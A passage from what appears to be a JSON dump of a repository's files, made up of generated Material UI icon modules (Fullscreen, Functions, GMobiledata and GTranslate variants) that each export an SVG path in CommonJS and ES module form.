    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z\"\n}), 'FullscreenExitOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExitRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 16h2v2c0 .55.45 1 1 1s1-.45 1-1v-3c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1m2-8H6c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1s-1 .45-1 1zm7 11c.55 0 1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m1-11V6c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'FullscreenExitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExitRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 16h2v2c0 .55.45 1 1 1s1-.45 1-1v-3c0-.55-.45-1-1-1H6c-.55 0-1 .45-1 1s.45 1 1 1m2-8H6c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1V6c0-.55-.45-1-1-1s-1 .45-1 1zm7 11c.55 0 1-.45 1-1v-2h2c.55 0 1-.45 1-1s-.45-1-1-1h-3c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m1-11V6c0-.55-.45-1-1-1s-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1z\"\n}), 'FullscreenExitRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExitSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z\"\n}), 'FullscreenExitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExitSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z\"\n}), 'FullscreenExitSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExitTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z\"\n}), 'FullscreenExitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenExitTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 16h3v3h2v-5H5zm3-8H5v2h5V5H8zm6 11h2v-3h3v-2h-5zm2-11V5h-2v5h5V8z\"\n}), 'FullscreenExitTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14H5v5h5v-2H7zm-2-4h2V7h3V5H5zm12 7h-3v2h5v-5h-2zM14 5v2h3v3h2V5z\"\n}), 'FullscreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14H5v5h5v-2H7zm-2-4h2V7h3V5H5zm12 7h-3v2h5v-5h-2zM14 5v2h3v3h2V5z\"\n}), 'FullscreenOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 14c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1H7v-2c0-.55-.45-1-1-1m0-4c.55 0 1-.45 1-1V7h2c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m11 7h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1zM14 6c0 .55.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1V6c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1\"\n}), 'FullscreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 14c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1h3c.55 0 1-.45 1-1s-.45-1-1-1H7v-2c0-.55-.45-1-1-1m0-4c.55 0 1-.45 1-1V7h2c.55 0 1-.45 1-1s-.45-1-1-1H6c-.55 0-1 .45-1 1v3c0 .55.45 1 1 1m11 7h-2c-.55 0-1 .45-1 1s.45 1 1 1h3c.55 0 1-.45 1-1v-3c0-.55-.45-1-1-1s-1 .45-1 1zM14 6c0 .55.45 1 1 1h2v2c0 .55.45 1 1 1s1-.45 1-1V6c0-.55-.45-1-1-1h-3c-.55 0-1 .45-1 1\"\n}), 'FullscreenRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14H5v5h5v-2H7zm-2-4h2V7h3V5H5zm12 7h-3v2h5v-5h-2zM14 5v2h3v3h2V5z\"\n}), 'FullscreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14H5v5h5v-2H7zm-2-4h2V7h3V5H5zm12 7h-3v2h5v-5h-2zM14 5v2h3v3h2V5z\"\n}), 'FullscreenSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14H5v5h5v-2H7zm-2-4h2V7h3V5H5zm12 7h-3v2h5v-5h-2zM14 5v2h3v3h2V5z\"\n}), 'FullscreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FullscreenTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14H5v5h5v-2H7zm-2-4h2V7h3V5H5zm12 7h-3v2h5v-5h-2zM14 5v2h3v3h2V5z\"\n}), 'FullscreenTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Functions.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6v2l6.5 6L6 18v2h12v-3h-7l5-5-5-5h7z\"\n}), 'Functions');"
  },
  {
    "path": "packages/mui-icons-material/lib/Functions.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6v2l6.5 6L6 18v2h12v-3h-7l5-5-5-5h7z\"\n}), 'Functions');"
  },
  {
    "path": "packages/mui-icons-material/lib/FunctionsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6v2l6.5 6L6 18v2h12v-3h-7l5-5-5-5h7z\"\n}), 'FunctionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FunctionsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6v2l6.5 6L6 18v2h12v-3h-7l5-5-5-5h7z\"\n}), 'FunctionsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/FunctionsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.5 4H7.56C6.7 4 6 4.7 6 5.56c0 .28.12.55.32.74L12.5 12l-6.18 5.7c-.2.19-.32.46-.32.74C6 19.3 6.7 20 7.56 20h8.94c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5H11l3.59-3.59c.78-.78.78-2.05 0-2.83L11 7h5.5c.83 0 1.5-.67 1.5-1.5S17.33 4 16.5 4\"\n}), 'FunctionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FunctionsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.5 4H7.56C6.7 4 6 4.7 6 5.56c0 .28.12.55.32.74L12.5 12l-6.18 5.7c-.2.19-.32.46-.32.74C6 19.3 6.7 20 7.56 20h8.94c.83 0 1.5-.67 1.5-1.5s-.67-1.5-1.5-1.5H11l3.59-3.59c.78-.78.78-2.05 0-2.83L11 7h5.5c.83 0 1.5-.67 1.5-1.5S17.33 4 16.5 4\"\n}), 'FunctionsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/FunctionsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 4H6v2l6.5 6L6 18v2h12v-3h-7l5-5-5-5h7z\"\n}), 'FunctionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FunctionsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 4H6v2l6.5 6L6 18v2h12v-3h-7l5-5-5-5h7z\"\n}), 'FunctionsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/FunctionsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 17h-7l5-5-5-5h7V4H6v2l6.5 6L6 18v2h12z\"\n}), 'FunctionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/FunctionsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 17h-7l5-5-5-5h7V4H6v2l6.5 6L6 18v2h12z\"\n}), 'FunctionsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledata.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11v2h2v2H9V9h7c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'GMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledata.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11v2h2v2H9V9h7c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'GMobiledata');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledataOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11v2h2v2H9V9h7c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'GMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledataOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11v2h2v2H9V9h7c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'GMobiledataOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledataRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 12c0 .55.45 1 1 1h1v2H9V9h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1\"\n}), 'GMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledataRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 12c0 .55.45 1 1 1h1v2H9V9h6c.55 0 1-.45 1-1s-.45-1-1-1H9c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-3c0-.55-.45-1-1-1h-2c-.55 0-1 .45-1 1\"\n}), 'GMobiledataRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledataSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11v2h2v2H9V9h7V7H7v10h9v-6z\"\n}), 'GMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledataSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11v2h2v2H9V9h7V7H7v10h9v-6z\"\n}), 'GMobiledataSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledataTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 11v2h2v2H9V9h7c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'GMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GMobiledataTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 11v2h2v2H9V9h7c0-1.1-.9-2-2-2H9c-1.1 0-2 .9-2 2v6c0 1.1.9 2 2 2h5c1.1 0 2-.9 2-2v-4z\"\n}), 'GMobiledataTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslate.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 4H11l-1-3H3c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8l1 3h9c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M7 16c-2.76 0-5-2.24-5-5s2.24-5 5-5c1.35 0 2.48.5 3.35 1.3L9.03 8.57c-.38-.36-1.04-.78-2.03-.78-1.74 0-3.15 1.44-3.15 3.21S5.26 14.21 7 14.21c2.01 0 2.84-1.44 2.92-2.41H7v-1.71h4.68c.07.31.12.61.12 1.02C11.8 13.97 9.89 16 7 16m6.17-5.42h3.7c-.43 1.25-1.11 2.43-2.05 3.47-.31-.35-.6-.72-.86-1.1zm8.33 9.92c0 .55-.45 1-1 1H14l2-2.5-1.04-3.1 3.1 3.1.92-.92-3.3-3.25.02-.02c1.13-1.25 1.93-2.69 2.4-4.22H20v-1.3h-4.53V8h-1.29v1.29h-1.44L11.46 5.5h9.04c.55 0 1 .45 1 1z\"\n}), 'GTranslate');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslate.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 4H11l-1-3H3c-1.1 0-2 .9-2 2v15c0 1.1.9 2 2 2h8l1 3h9c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M7 16c-2.76 0-5-2.24-5-5s2.24-5 5-5c1.35 0 2.48.5 3.35 1.3L9.03 8.57c-.38-.36-1.04-.78-2.03-.78-1.74 0-3.15 1.44-3.15 3.21S5.26 14.21 7 14.21c2.01 0 2.84-1.44 2.92-2.41H7v-1.71h4.68c.07.31.12.61.12 1.02C11.8 13.97 9.89 16 7 16m6.17-5.42h3.7c-.43 1.25-1.11 2.43-2.05 3.47-.31-.35-.6-.72-.86-1.1zm8.33 9.92c0 .55-.45 1-1 1H14l2-2.5-1.04-3.1 3.1 3.1.92-.92-3.3-3.25.02-.02c1.13-1.25 1.93-2.69 2.4-4.22H20v-1.3h-4.53V8h-1.29v1.29h-1.44L11.46 5.5h9.04c.55 0 1 .45 1 1z\"\n}), 'GTranslate');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslateOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 5h-9.12L10 2H4c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h7l1 3h8c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M7.17 14.59c-2.25 0-4.09-1.83-4.09-4.09s1.83-4.09 4.09-4.09c1.04 0 1.99.37 2.74 1.07l.07.06-1.23 1.18-.06-.05c-.29-.27-.78-.59-1.52-.59-1.31 0-2.38 1.09-2.38 2.42s1.07 2.42 2.38 2.42c1.37 0 1.96-.87 2.12-1.46H7.08V9.91h3.95l.01.07c.04.21.05.4.05.61 0 2.35-1.61 4-3.92 4m6.03-1.71c.33.6.74 1.18 1.19 1.7l-.54.53zm.77-.76h-.99l-.31-1.04h3.99s-.34 1.31-1.56 2.74c-.52-.62-.89-1.23-1.13-1.7M21 20c0 .55-.45 1-1 1h-7l2-2-.81-2.77.92-.92L17.79 18l.73-.73-2.71-2.68c.9-1.03 1.6-2.25 1.92-3.51H19v-1.04h-3.64V9h-1.04v1.04h-1.96L11.18 6H20c.55 0 1 .45 1 1z\"\n}), 'GTranslateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslateOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 5h-9.12L10 2H4c-1.1 0-2 .9-2 2v13c0 1.1.9 2 2 2h7l1 3h8c1.1 0 2-.9 2-2V7c0-1.1-.9-2-2-2M7.17 14.59c-2.25 0-4.09-1.83-4.09-4.09s1.83-4.09 4.09-4.09c1.04 0 1.99.37 2.74 1.07l.07.06-1.23 1.18-.06-.05c-.29-.27-.78-.59-1.52-.59-1.31 0-2.38 1.09-2.38 2.42s1.07 2.42 2.38 2.42c1.37 0 1.96-.87 2.12-1.46H7.08V9.91h3.95l.01.07c.04.21.05.4.05.61 0 2.35-1.61 4-3.92 4m6.03-1.71c.33.6.74 1.18 1.19 1.7l-.54.53zm.77-.76h-.99l-.31-1.04h3.99s-.34 1.31-1.56 2.74c-.52-.62-.89-1.23-1.13-1.7M21 20c0 .55-.45 1-1 1h-7l2-2-.81-2.77.92-.92L17.79 18l.73-.73-2.71-2.68c.9-1.03 1.6-2.25 1.92-3.51H19v-1.04h-3.64V9h-1.04v1.04h-1.96L11.18 6H20c.55 0 1 .45 1 1z\"\n}), 'GTranslateOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/GTranslateRounded.js",
